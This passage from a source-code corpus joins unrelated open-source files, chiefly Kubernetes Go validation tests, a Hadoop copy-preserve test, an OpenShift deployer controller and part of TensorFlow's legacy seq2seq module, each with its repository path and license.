t.Errorf("expected failure for %s", k)
}
for i := range errs {
field := errs[i].(*errors.ValidationError).Field
if !strings.HasPrefix(field, "spec.template.") &&
field != "metadata.name" &&
field != "metadata.namespace" &&
field != "spec.selector" &&
field != "spec.template" &&
field != "GCEPersistentDisk.ReadOnly" &&
field != "spec.template.labels" &&
field != "metadata.annotations" &&
field != "metadata.labels" {
t.Errorf("%s: missing prefix for: %v", k, errs[i])
}
}
}
}
func validDeployment() *extensions.Deployment {
return &extensions.Deployment{
ObjectMeta: api.ObjectMeta{
Name: "abc",
Namespace: api.NamespaceDefault,
},
Spec: extensions.DeploymentSpec{
Selector: map[string]string{
"name": "abc",
},
Template: &api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Name: "abc",
Namespace: api.NamespaceDefault,
Labels: map[string]string{
"name": "abc",
},
},
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSDefault,
Containers: []api.Container{
{
Name: "nginx",
Image: "image",
ImagePullPolicy: api.PullNever,
},
},
},
},
UniqueLabelKey: "my-label",
},
}
}
func TestValidateDeployment(t *testing.T) {
successCases := []*extensions.Deployment{
validDeployment(),
}
for _, successCase := range successCases {
if errs := ValidateDeployment(successCase); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
errorCases := map[string]*extensions.Deployment{}
errorCases["metadata.name: required value"] = &extensions.Deployment{
ObjectMeta: api.ObjectMeta{
Namespace: api.NamespaceDefault,
},
}
// selector should match the labels in pod template.
invalidSelectorDeployment := validDeployment()
invalidSelectorDeployment.Spec.Selector = map[string]string{
"name": "def",
}
errorCases["selector does not match labels"] = invalidSelectorDeployment
// RestartPolicy should be always.
invalidRestartPolicyDeployment := validDeployment()
invalidRestartPolicyDeployment.Spec.Template.Spec.RestartPolicy = api.RestartPolicyNever
errorCases["unsupported value 'Never'"] = invalidRestartPolicyDeployment
// invalid unique label key.
invalidUniqueLabelDeployment := validDeployment()
invalidUniqueLabelDeployment.Spec.UniqueLabelKey = "abc/def/ghi"
errorCases["spec.uniqueLabel: invalid value"] = invalidUniqueLabelDeployment
// rollingUpdate should be nil for recreate.
invalidRecreateDeployment := validDeployment()
invalidRecreateDeployment.Spec.Strategy = extensions.DeploymentStrategy{
Type: extensions.RecreateDeploymentStrategyType,
RollingUpdate: &extensions.RollingUpdateDeployment{},
}
errorCases["rollingUpdate should be nil when strategy type is Recreate"] = invalidRecreateDeployment
// MaxSurge should be in the form of 20%.
invalidMaxSurgeDeployment := validDeployment()
invalidMaxSurgeDeployment.Spec.Strategy = extensions.DeploymentStrategy{
Type: extensions.RollingUpdateDeploymentStrategyType,
RollingUpdate: &extensions.RollingUpdateDeployment{
MaxSurge: util.NewIntOrStringFromString("20Percent"),
},
}
errorCases["value should be int(5) or percentage(5%)"] = invalidMaxSurgeDeployment
// MaxSurge and MaxUnavailable cannot both be zero.
invalidRollingUpdateDeployment := validDeployment()
invalidRollingUpdateDeployment.Spec.Strategy = extensions.DeploymentStrategy{
Type: extensions.RollingUpdateDeploymentStrategyType,
RollingUpdate: &extensions.RollingUpdateDeployment{
MaxSurge: util.NewIntOrStringFromString("0%"),
MaxUnavailable: util.NewIntOrStringFromInt(0),
},
}
errorCases["cannot be 0 when maxSurge is 0 as well"] = invalidRollingUpdateDeployment
// MaxUnavailable should not be more than 100%.
invalidMaxUnavailableDeployment := validDeployment()
invalidMaxUnavailableDeployment.Spec.Strategy = extensions.DeploymentStrategy{
Type: extensions.RollingUpdateDeploymentStrategyType,
RollingUpdate: &extensions.RollingUpdateDeployment{
MaxUnavailable: util.NewIntOrStringFromString("110%"),
},
}
errorCases["should not be more than 100%"] = invalidMaxUnavailableDeployment
for k, v := range errorCases {
errs := ValidateDeployment(v)
if len(errs) == 0 {
t.Errorf("expected failure for %s", k)
} else if !strings.Contains(errs[0].Error(), k) {
t.Errorf("unexpected error: %v, expected: %s", errs[0], k)
}
}
}
func TestValidateJob(t *testing.T) {
validSelector := &extensions.PodSelector{
MatchLabels: map[string]string{"a": "b"},
}
validPodTemplateSpec := api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector.MatchLabels,
},
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyOnFailure,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
},
}
successCases := []extensions.Job{
{
ObjectMeta: api.ObjectMeta{
Name: "myjob",
Namespace: api.NamespaceDefault,
},
Spec: extensions.JobSpec{
Selector: validSelector,
Template: validPodTemplateSpec,
},
},
}
for _, successCase := range successCases {
if errs := ValidateJob(&successCase); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
negative := -1
errorCases := map[string]extensions.Job{
"spec.parallelism:must be non-negative": {
ObjectMeta: api.ObjectMeta{
Name: "myjob",
Namespace: api.NamespaceDefault,
},
Spec: extensions.JobSpec{
Parallelism: &negative,
Selector: validSelector,
Template: validPodTemplateSpec,
},
},
"spec.completions:must be non-negative": {
ObjectMeta: api.ObjectMeta{
Name: "myjob",
Namespace: api.NamespaceDefault,
},
Spec: extensions.JobSpec{
Completions: &negative,
Selector: validSelector,
Template: validPodTemplateSpec,
},
},
"spec.selector:required value": {
ObjectMeta: api.ObjectMeta{
Name: "myjob",
Namespace: api.NamespaceDefault,
},
Spec: extensions.JobSpec{
Template: validPodTemplateSpec,
},
},
"spec.template.metadata.labels: invalid value 'map[y:z]', Details: selector does not match template": {
ObjectMeta: api.ObjectMeta{
Name: "myjob",
Namespace: api.NamespaceDefault,
},
Spec: extensions.JobSpec{
Selector: validSelector,
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: map[string]string{"y": "z"},
},
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyOnFailure,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
},
},
},
},
"spec.template.spec.restartPolicy:unsupported value": {
ObjectMeta: api.ObjectMeta{
Name: "myjob",
Namespace: api.NamespaceDefault,
},
Spec: extensions.JobSpec{
Selector: validSelector,
Template: api.PodTemplateSpec{
ObjectMeta: api.ObjectMeta{
Labels: validSelector.MatchLabels,
},
Spec: api.PodSpec{
RestartPolicy: api.RestartPolicyAlways,
DNSPolicy: api.DNSClusterFirst,
Containers: []api.Container{{Name: "abc", Image: "image", ImagePullPolicy: "IfNotPresent"}},
},
},
},
},
}
for k, v := range errorCases {
errs := ValidateJob(&v)
if len(errs) == 0 {
t.Errorf("expected failure for %s", k)
} else {
s := strings.Split(k, ":")
err := errs[0].(*errors.ValidationError)
if err.Field != s[0] || !strings.Contains(err.Error(), s[1]) {
t.Errorf("unexpected error: %v, expected: %s", errs[0], k)
}
}
}
}
type ingressRules map[string]string
func TestValidateIngress(t *testing.T) {
defaultBackend := extensions.IngressBackend{
ServiceName: "default-backend",
ServicePort: util.IntOrString{Kind: util.IntstrInt, IntVal: 80},
}
newValid := func() extensions.Ingress {
return extensions.Ingress{
ObjectMeta: api.ObjectMeta{
Name: "foo",
Namespace: api.NamespaceDefault,
},
Spec: extensions.IngressSpec{
Backend: &extensions.IngressBackend{
ServiceName: "default-backend",
ServicePort: util.IntOrString{Kind: util.IntstrInt, IntVal: 80},
},
Rules: []extensions.IngressRule{
{
Host: "foo.bar.com",
IngressRuleValue: extensions.IngressRuleValue{
HTTP: &extensions.HTTPIngressRuleValue{
Paths: []extensions.HTTPIngressPath{
{
Path: "/foo",
Backend: defaultBackend,
},
},
},
},
},
},
},
Status: extensions.IngressStatus{
LoadBalancer: api.LoadBalancerStatus{
Ingress: []api.LoadBalancerIngress{
{IP: "127.0.0.1"},
},
},
},
}
}
servicelessBackend := newValid()
servicelessBackend.Spec.Backend.ServiceName = ""
invalidNameBackend := newValid()
invalidNameBackend.Spec.Backend.ServiceName = "defaultBackend"
noPortBackend := newValid()
noPortBackend.Spec.Backend = &extensions.IngressBackend{ServiceName: defaultBackend.ServiceName}
noForwardSlashPath := newValid()
noForwardSlashPath.Spec.Rules[0].IngressRuleValue.HTTP.Paths = []extensions.HTTPIngressPath{
{
Path: "invalid",
Backend: defaultBackend,
},
}
noPaths := newValid()
noPaths.Spec.Rules[0].IngressRuleValue.HTTP.Paths = []extensions.HTTPIngressPath{}
badHost := newValid()
badHost.Spec.Rules[0].Host = "foobar:80"
badRegexPath := newValid()
badPathExpr := "/invalid["
badRegexPath.Spec.Rules[0].IngressRuleValue.HTTP.Paths = []extensions.HTTPIngressPath{
{
Path: badPathExpr,
Backend: defaultBackend,
},
}
badPathErr := fmt.Sprintf("spec.rules.ingressRule.http.path: invalid value '%v'",
badPathExpr)
hostIP := "127.0.0.1"
badHostIP := newValid()
badHostIP.Spec.Rules[0].Host = hostIP
badHostIPErr := fmt.Sprintf("spec.rules.host: invalid value '%v'", hostIP)
errorCases := map[string]extensions.Ingress{
"spec.backend.serviceName: required value": servicelessBackend,
"spec.backend.serviceName: invalid value": invalidNameBackend,
"spec.backend.servicePort: invalid value": noPortBackend,
"spec.rules.host: invalid value": badHost,
"spec.rules.ingressRule.http.paths: required value": noPaths,
"spec.rules.ingressRule.http.path: invalid value": noForwardSlashPath,
}
errorCases[badPathErr] = badRegexPath
errorCases[badHostIPErr] = badHostIP
for k, v := range errorCases {
errs := ValidateIngress(&v)
if len(errs) == 0 {
t.Errorf("expected failure for %s", k)
} else {
s := strings.Split(k, ":")
err := errs[0].(*errors.ValidationError)
if err.Field != s[0] || !strings.Contains(err.Error(), s[1]) {
t.Errorf("unexpected error: %v, expected: %s", errs[0], k)
}
}
}
}
func TestValidateClusterAutoscaler(t *testing.T) {
successCases := []extensions.ClusterAutoscaler{
{
ObjectMeta: api.ObjectMeta{
Name: "ClusterAutoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.ClusterAutoscalerSpec{
MinNodes: 1,
MaxNodes: 5,
TargetUtilization: []extensions.NodeUtilization{
{
Resource: extensions.CpuRequest,
Value: 0.7,
},
},
},
},
}
for _, successCase := range successCases {
if errs := ValidateClusterAutoscaler(&successCase); len(errs) != 0 {
t.Errorf("expected success: %v", errs)
}
}
errorCases := map[string]extensions.ClusterAutoscaler{
"name must be ClusterAutoscaler": {
ObjectMeta: api.ObjectMeta{
Name: "TestClusterAutoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.ClusterAutoscalerSpec{
MinNodes: 1,
MaxNodes: 5,
TargetUtilization: []extensions.NodeUtilization{
{
Resource: extensions.CpuRequest,
Value: 0.7,
},
},
},
},
"namespace must be default": {
ObjectMeta: api.ObjectMeta{
Name: "ClusterAutoscaler",
Namespace: "test",
},
Spec: extensions.ClusterAutoscalerSpec{
MinNodes: 1,
MaxNodes: 5,
TargetUtilization: []extensions.NodeUtilization{
{
Resource: extensions.CpuRequest,
Value: 0.7,
},
},
},
},
`must be non-negative`: {
ObjectMeta: api.ObjectMeta{
Name: "ClusterAutoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.ClusterAutoscalerSpec{
MinNodes: -1,
MaxNodes: 5,
TargetUtilization: []extensions.NodeUtilization{
{
Resource: extensions.CpuRequest,
Value: 0.7,
},
},
},
},
`must be bigger or equal to minNodes`: {
ObjectMeta: api.ObjectMeta{
Name: "ClusterAutoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.ClusterAutoscalerSpec{
MinNodes: 10,
MaxNodes: 5,
TargetUtilization: []extensions.NodeUtilization{
{
Resource: extensions.CpuRequest,
Value: 0.7,
},
},
},
},
"required value": {
ObjectMeta: api.ObjectMeta{
Name: "ClusterAutoscaler",
Namespace: api.NamespaceDefault,
},
Spec: extensions.ClusterAutoscalerSpec{
MinNodes: 1,
MaxNodes: 5,
TargetUtilization: []extensions.NodeUtilization{},
},
},
}
for k, v := range errorCases {
errs := ValidateClusterAutoscaler(&v)
if len(errs) == 0 {
t.Errorf("expected failure for %s", k)
} else if !strings.Contains(errs[0].Error(), k) {
t.Errorf("unexpected error: %v, expected: %s", errs[0], k)
}
}
}
func newInt(val int) *int {
p := new(int)
*p = val
return p
}
| apache-2.0 |
wenxinhe/hadoop | hadoop-common-project/hadoop-common/src/test/java/org/apache/hadoop/fs/shell/TestCopyPreserveFlag.java | 6059 | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.fs.shell;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;
import java.io.IOException;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FSDataOutputStream;
import org.apache.hadoop.fs.FileStatus;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.FileSystemTestHelper;
import org.apache.hadoop.fs.LocalFileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.fs.permission.FsAction;
import org.apache.hadoop.fs.permission.FsPermission;
import org.apache.hadoop.fs.shell.CopyCommands.Cp;
import org.apache.hadoop.fs.shell.CopyCommands.Get;
import org.apache.hadoop.fs.shell.CopyCommands.Put;
import org.apache.hadoop.fs.shell.CopyCommands.CopyFromLocal;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
public class TestCopyPreserveFlag {
private static final int MODIFICATION_TIME = 12345000;
private static final int ACCESS_TIME = 23456000;
private static final Path DIR_FROM = new Path("d0");
private static final Path DIR_TO1 = new Path("d1");
private static final Path DIR_TO2 = new Path("d2");
private static final Path FROM = new Path(DIR_FROM, "f0");
private static final Path TO = new Path(DIR_TO1, "f1");
private static final FsPermission PERMISSIONS = new FsPermission(
FsAction.ALL,
FsAction.EXECUTE,
FsAction.READ_WRITE);
private FileSystem fs;
private Path testDir;
private Configuration conf;
@Before
public void initialize() throws Exception {
conf = new Configuration(false);
conf.set("fs.file.impl", LocalFileSystem.class.getName());
fs = FileSystem.getLocal(conf);
testDir = new FileSystemTestHelper().getTestRootPath(fs);
// don't want scheme on the path, just an absolute path
testDir = new Path(fs.makeQualified(testDir).toUri().getPath());
FileSystem.setDefaultUri(conf, fs.getUri());
fs.setWorkingDirectory(testDir);
fs.mkdirs(DIR_FROM);
fs.mkdirs(DIR_TO1);
fs.createNewFile(FROM);
FSDataOutputStream output = fs.create(FROM, true);
for(int i = 0; i < 100; ++i) {
output.writeInt(i);
output.writeChar('\n');
}
output.close();
fs.setPermission(FROM, PERMISSIONS);
fs.setTimes(FROM, MODIFICATION_TIME, ACCESS_TIME);
fs.setPermission(DIR_FROM, PERMISSIONS);
fs.setTimes(DIR_FROM, MODIFICATION_TIME, ACCESS_TIME);
}
@After
public void cleanup() throws Exception {
fs.delete(testDir, true);
fs.close();
}
private void assertAttributesPreserved(Path to) throws IOException {
FileStatus status = fs.getFileStatus(to);
assertEquals(MODIFICATION_TIME, status.getModificationTime());
assertEquals(ACCESS_TIME, status.getAccessTime());
assertEquals(PERMISSIONS, status.getPermission());
}
private void assertAttributesChanged(Path to) throws IOException {
FileStatus status = fs.getFileStatus(to);
assertNotEquals(MODIFICATION_TIME, status.getModificationTime());
assertNotEquals(ACCESS_TIME, status.getAccessTime());
assertNotEquals(PERMISSIONS, status.getPermission());
}
private void run(CommandWithDestination cmd, String... args) {
cmd.setConf(conf);
assertEquals(0, cmd.run(args));
}
@Test(timeout = 10000)
public void testPutWithP() throws Exception {
run(new Put(), "-p", FROM.toString(), TO.toString());
assertAttributesPreserved(TO);
}
@Test(timeout = 10000)
public void testPutWithoutP() throws Exception {
run(new Put(), FROM.toString(), TO.toString());
assertAttributesChanged(TO);
}
@Test(timeout = 10000)
public void testCopyFromLocal() throws Exception {
run(new CopyFromLocal(), FROM.toString(), TO.toString());
assertAttributesChanged(TO);
}
@Test(timeout = 10000)
public void testCopyFromLocalWithThreads() throws Exception {
run(new CopyFromLocal(), "-t", "10", FROM.toString(), TO.toString());
assertAttributesChanged(TO);
}
@Test(timeout = 10000)
public void testCopyFromLocalWithThreadsPreserve() throws Exception {
run(new CopyFromLocal(), "-p", "-t", "10", FROM.toString(), TO.toString());
assertAttributesPreserved(TO);
}
@Test(timeout = 10000)
public void testGetWithP() throws Exception {
run(new Get(), "-p", FROM.toString(), TO.toString());
assertAttributesPreserved(TO);
}
@Test(timeout = 10000)
public void testGetWithoutP() throws Exception {
run(new Get(), FROM.toString(), TO.toString());
assertAttributesChanged(TO);
}
@Test(timeout = 10000)
public void testCpWithP() throws Exception {
run(new Cp(), "-p", FROM.toString(), TO.toString());
assertAttributesPreserved(TO);
}
@Test(timeout = 10000)
public void testCpWithoutP() throws Exception {
run(new Cp(), FROM.toString(), TO.toString());
assertAttributesChanged(TO);
}
@Test(timeout = 10000)
public void testDirectoryCpWithP() throws Exception {
run(new Cp(), "-p", DIR_FROM.toString(), DIR_TO2.toString());
assertAttributesPreserved(DIR_TO2);
}
@Test(timeout = 10000)
public void testDirectoryCpWithoutP() throws Exception {
run(new Cp(), DIR_FROM.toString(), DIR_TO2.toString());
assertAttributesChanged(DIR_TO2);
}
}
| apache-2.0 |
minji-kim/calcite | core/src/main/java/org/apache/calcite/rel/logical/package-info.java | 1336 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to you under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Defines logical relational expressions.
*
* <h2>Related packages and classes</h2>
* <ul>
*
* <li>Package <code>
* <a href="../logical/package-summary.html">org.apache.calcite.rel.core</a></code>
* contains core relational expressions
*
* <li>Package <code>
* <a href="../package-summary.html">org.apache.calcite.rex</a></code>
* defines the relational expression API
*
* </ul>
*/
@PackageMarker
package org.apache.calcite.rel.logical;
import org.apache.calcite.avatica.util.PackageMarker;
// End package-info.java
| apache-2.0 |
jwhonce/origin | pkg/cmd/openshift-controller-manager/controller/apps.go | 1730 | package controller
import (
"k8s.io/client-go/kubernetes"
deployercontroller "github.com/openshift/origin/pkg/apps/controller/deployer"
deployconfigcontroller "github.com/openshift/origin/pkg/apps/controller/deploymentconfig"
"github.com/openshift/origin/pkg/cmd/server/bootstrappolicy"
"github.com/openshift/origin/pkg/cmd/util/variable"
)
func RunDeployerController(ctx *ControllerContext) (bool, error) {
clientConfig, err := ctx.ClientBuilder.Config(bootstrappolicy.InfraDeployerControllerServiceAccountName)
if err != nil {
return true, err
}
kubeClient, err := kubernetes.NewForConfig(clientConfig)
if err != nil {
return true, err
}
imageTemplate := variable.NewDefaultImageTemplate()
imageTemplate.Format = ctx.OpenshiftControllerConfig.Deployer.ImageTemplateFormat.Format
imageTemplate.Latest = ctx.OpenshiftControllerConfig.Deployer.ImageTemplateFormat.Latest
go deployercontroller.NewDeployerController(
ctx.KubernetesInformers.Core().V1().ReplicationControllers(),
ctx.KubernetesInformers.Core().V1().Pods(),
kubeClient,
bootstrappolicy.DeployerServiceAccountName,
imageTemplate.ExpandOrDie("deployer"),
nil,
).Run(5, ctx.Stop)
return true, nil
}
func RunDeploymentConfigController(ctx *ControllerContext) (bool, error) {
saName := bootstrappolicy.InfraDeploymentConfigControllerServiceAccountName
kubeClient, err := ctx.ClientBuilder.Client(saName)
if err != nil {
return true, err
}
go deployconfigcontroller.NewDeploymentConfigController(
ctx.AppsInformers.Apps().V1().DeploymentConfigs(),
ctx.KubernetesInformers.Core().V1().ReplicationControllers(),
ctx.ClientBuilder.OpenshiftAppsClientOrDie(saName),
kubeClient,
).Run(5, ctx.Stop)
return true, nil
}
| apache-2.0 |
itkvideo/ITK | Modules/ThirdParty/GDCM/src/gdcm/Utilities/gdcmcharls/stdafx.cpp | 131 | //
// (C) Jan de Vaan 2007-2009, all rights reserved. See the accompanying "License.txt" for licensed use.
//
#include "stdafx.h"
| apache-2.0 |
michaelgallacher/intellij-community | platform/external-system-impl/src/com/intellij/openapi/externalSystem/service/project/ExternalLibraryPathTypeMapperImpl.java | 1687 | /*
* Copyright 2000-2013 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.openapi.externalSystem.service.project;
import com.intellij.openapi.externalSystem.service.project.ExternalLibraryPathTypeMapper;
import com.intellij.openapi.roots.JavadocOrderRootType;
import com.intellij.openapi.roots.OrderRootType;
import org.jetbrains.annotations.NotNull;
import com.intellij.openapi.externalSystem.model.project.LibraryPathType;
import java.util.EnumMap;
import java.util.Map;
/**
* @author Denis Zhdanov
* @since 1/17/13 3:55 PM
*/
public class ExternalLibraryPathTypeMapperImpl implements ExternalLibraryPathTypeMapper {
private static final Map<LibraryPathType, OrderRootType> MAPPINGS = new EnumMap<>(LibraryPathType.class);
static {
MAPPINGS.put(LibraryPathType.BINARY, OrderRootType.CLASSES);
MAPPINGS.put(LibraryPathType.SOURCE, OrderRootType.SOURCES);
MAPPINGS.put(LibraryPathType.DOC, JavadocOrderRootType.getInstance());
assert LibraryPathType.values().length == MAPPINGS.size();
}
@NotNull
@Override
public OrderRootType map(@NotNull LibraryPathType type) {
return MAPPINGS.get(type);
}
}
| apache-2.0 |
graydon/rust | src/test/ui/bare-fn-implements-fn-mut.rs | 419 | // run-pass
use std::ops::FnMut;
fn call_f<F:FnMut()>(mut f: F) {
f();
}
fn f() {
println!("hello");
}
fn call_g<G:FnMut(String,String) -> String>(mut g: G, x: String, y: String)
-> String {
g(x, y)
}
fn g(mut x: String, y: String) -> String {
x.push_str(&y);
x
}
fn main() {
call_f(f);
assert_eq!(call_g(g, "foo".to_string(), "bar".to_string()),
"foobar");
}
| apache-2.0 |
tiagofrepereira2012/tensorflow | tensorflow/contrib/legacy_seq2seq/python/ops/seq2seq.py | 56855 | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Library for creating sequence-to-sequence models in TensorFlow.
Sequence-to-sequence recurrent neural networks can learn complex functions
that map input sequences to output sequences. These models yield very good
results on a number of tasks, such as speech recognition, parsing, machine
translation, or even constructing automated replies to emails.
Before using this module, it is recommended to read the TensorFlow tutorial
on sequence-to-sequence models. It explains the basic concepts of this module
and shows an end-to-end example of how to build a translation model.
https://www.tensorflow.org/versions/master/tutorials/seq2seq/index.html
Here is an overview of functions available in this module. They all use
a very similar interface, so after reading the above tutorial and using
one of them, others should be easy to substitute.
* Full sequence-to-sequence models.
- basic_rnn_seq2seq: The most basic RNN-RNN model.
- tied_rnn_seq2seq: The basic model with tied encoder and decoder weights.
- embedding_rnn_seq2seq: The basic model with input embedding.
- embedding_tied_rnn_seq2seq: The tied model with input embedding.
- embedding_attention_seq2seq: Advanced model with input embedding and
the neural attention mechanism; recommended for complex tasks.
* Multi-task sequence-to-sequence models.
- one2many_rnn_seq2seq: The embedding model with multiple decoders.
* Decoders (when you write your own encoder, you can use these to decode;
e.g., if you want to write a model that generates captions for images).
- rnn_decoder: The basic decoder based on a pure RNN.
- attention_decoder: A decoder that uses the attention mechanism.
* Losses.
- sequence_loss: Loss for a sequence model returning average log-perplexity.
- sequence_loss_by_example: As above, but not averaging over all examples.
* model_with_buckets: A convenience function to create models with bucketing
(see the tutorial above for an explanation of why and how to use it).
"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import copy
# We disable pylint because we need python3 compatibility.
from six.moves import xrange # pylint: disable=redefined-builtin
from six.moves import zip # pylint: disable=redefined-builtin
from tensorflow.contrib.rnn.python.ops import core_rnn_cell
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import ops
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import embedding_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import nn_ops
from tensorflow.python.ops import rnn
from tensorflow.python.ops import rnn_cell_impl
from tensorflow.python.ops import variable_scope
from tensorflow.python.util import nest
# TODO(ebrevdo): Remove once _linear is fully deprecated.
linear = rnn_cell_impl._linear # pylint: disable=protected-access
def _extract_argmax_and_embed(embedding,
output_projection=None,
update_embedding=True):
"""Get a loop_function that extracts the previous symbol and embeds it.
Args:
embedding: embedding tensor for symbols.
output_projection: None or a pair (W, B). If provided, each fed previous
output will first be multiplied by W and added B.
update_embedding: Boolean; if False, the gradients will not propagate
through the embeddings.
Returns:
A loop function.
"""
def loop_function(prev, _):
if output_projection is not None:
prev = nn_ops.xw_plus_b(prev, output_projection[0], output_projection[1])
prev_symbol = math_ops.argmax(prev, 1)
# Note that gradients will not propagate through the second parameter of
# embedding_lookup.
emb_prev = embedding_ops.embedding_lookup(embedding, prev_symbol)
if not update_embedding:
emb_prev = array_ops.stop_gradient(emb_prev)
return emb_prev
return loop_function
def rnn_decoder(decoder_inputs,
initial_state,
cell,
loop_function=None,
scope=None):
"""RNN decoder for the sequence-to-sequence model.
Args:
decoder_inputs: A list of 2D Tensors [batch_size x input_size].
initial_state: 2D Tensor with shape [batch_size x cell.state_size].
cell: rnn_cell.RNNCell defining the cell function and size.
loop_function: If not None, this function will be applied to the i-th output
in order to generate the i+1-st input, and decoder_inputs will be ignored,
except for the first element ("GO" symbol). This can be used for decoding,
but also for training to emulate http://arxiv.org/abs/1506.03099.
Signature -- loop_function(prev, i) = next
* prev is a 2D Tensor of shape [batch_size x output_size],
* i is an integer, the step number (when advanced control is needed),
* next is a 2D Tensor of shape [batch_size x input_size].
scope: VariableScope for the created subgraph; defaults to "rnn_decoder".
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors with
shape [batch_size x output_size] containing generated outputs.
state: The state of each cell at the final time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
(Note that in some cases, like basic RNN cell or GRU cell, outputs and
states can be the same. They are different for LSTM cells though.)
"""
with variable_scope.variable_scope(scope or "rnn_decoder"):
state = initial_state
outputs = []
prev = None
for i, inp in enumerate(decoder_inputs):
if loop_function is not None and prev is not None:
with variable_scope.variable_scope("loop_function", reuse=True):
inp = loop_function(prev, i)
if i > 0:
variable_scope.get_variable_scope().reuse_variables()
output, state = cell(inp, state)
outputs.append(output)
if loop_function is not None:
prev = output
return outputs, state
def basic_rnn_seq2seq(encoder_inputs,
decoder_inputs,
cell,
dtype=dtypes.float32,
scope=None):
"""Basic RNN sequence-to-sequence model.
This model first runs an RNN to encode encoder_inputs into a state vector,
then runs decoder, initialized with the last encoder state, on decoder_inputs.
Encoder and decoder use the same RNN cell type, but don't share parameters.
Args:
encoder_inputs: A list of 2D Tensors [batch_size x input_size].
decoder_inputs: A list of 2D Tensors [batch_size x input_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function and size.
dtype: The dtype of the initial state of the RNN cell (default: tf.float32).
scope: VariableScope for the created subgraph; default: "basic_rnn_seq2seq".
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors with
shape [batch_size x output_size] containing the generated outputs.
state: The state of each decoder cell in the final time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
"""
with variable_scope.variable_scope(scope or "basic_rnn_seq2seq"):
enc_cell = copy.deepcopy(cell)
_, enc_state = rnn.static_rnn(enc_cell, encoder_inputs, dtype=dtype)
return rnn_decoder(decoder_inputs, enc_state, cell)
def tied_rnn_seq2seq(encoder_inputs,
decoder_inputs,
cell,
loop_function=None,
dtype=dtypes.float32,
scope=None):
"""RNN sequence-to-sequence model with tied encoder and decoder parameters.
This model first runs an RNN to encode encoder_inputs into a state vector, and
then runs decoder, initialized with the last encoder state, on decoder_inputs.
Encoder and decoder use the same RNN cell and share parameters.
Args:
encoder_inputs: A list of 2D Tensors [batch_size x input_size].
decoder_inputs: A list of 2D Tensors [batch_size x input_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function and size.
loop_function: If not None, this function will be applied to i-th output
in order to generate i+1-th input, and decoder_inputs will be ignored,
except for the first element ("GO" symbol), see rnn_decoder for details.
dtype: The dtype of the initial state of the rnn cell (default: tf.float32).
scope: VariableScope for the created subgraph; default: "tied_rnn_seq2seq".
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors with
shape [batch_size x output_size] containing the generated outputs.
state: The state of each decoder cell in each time-step. This is a list
with length len(decoder_inputs) -- one item for each time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
"""
with variable_scope.variable_scope("combined_tied_rnn_seq2seq"):
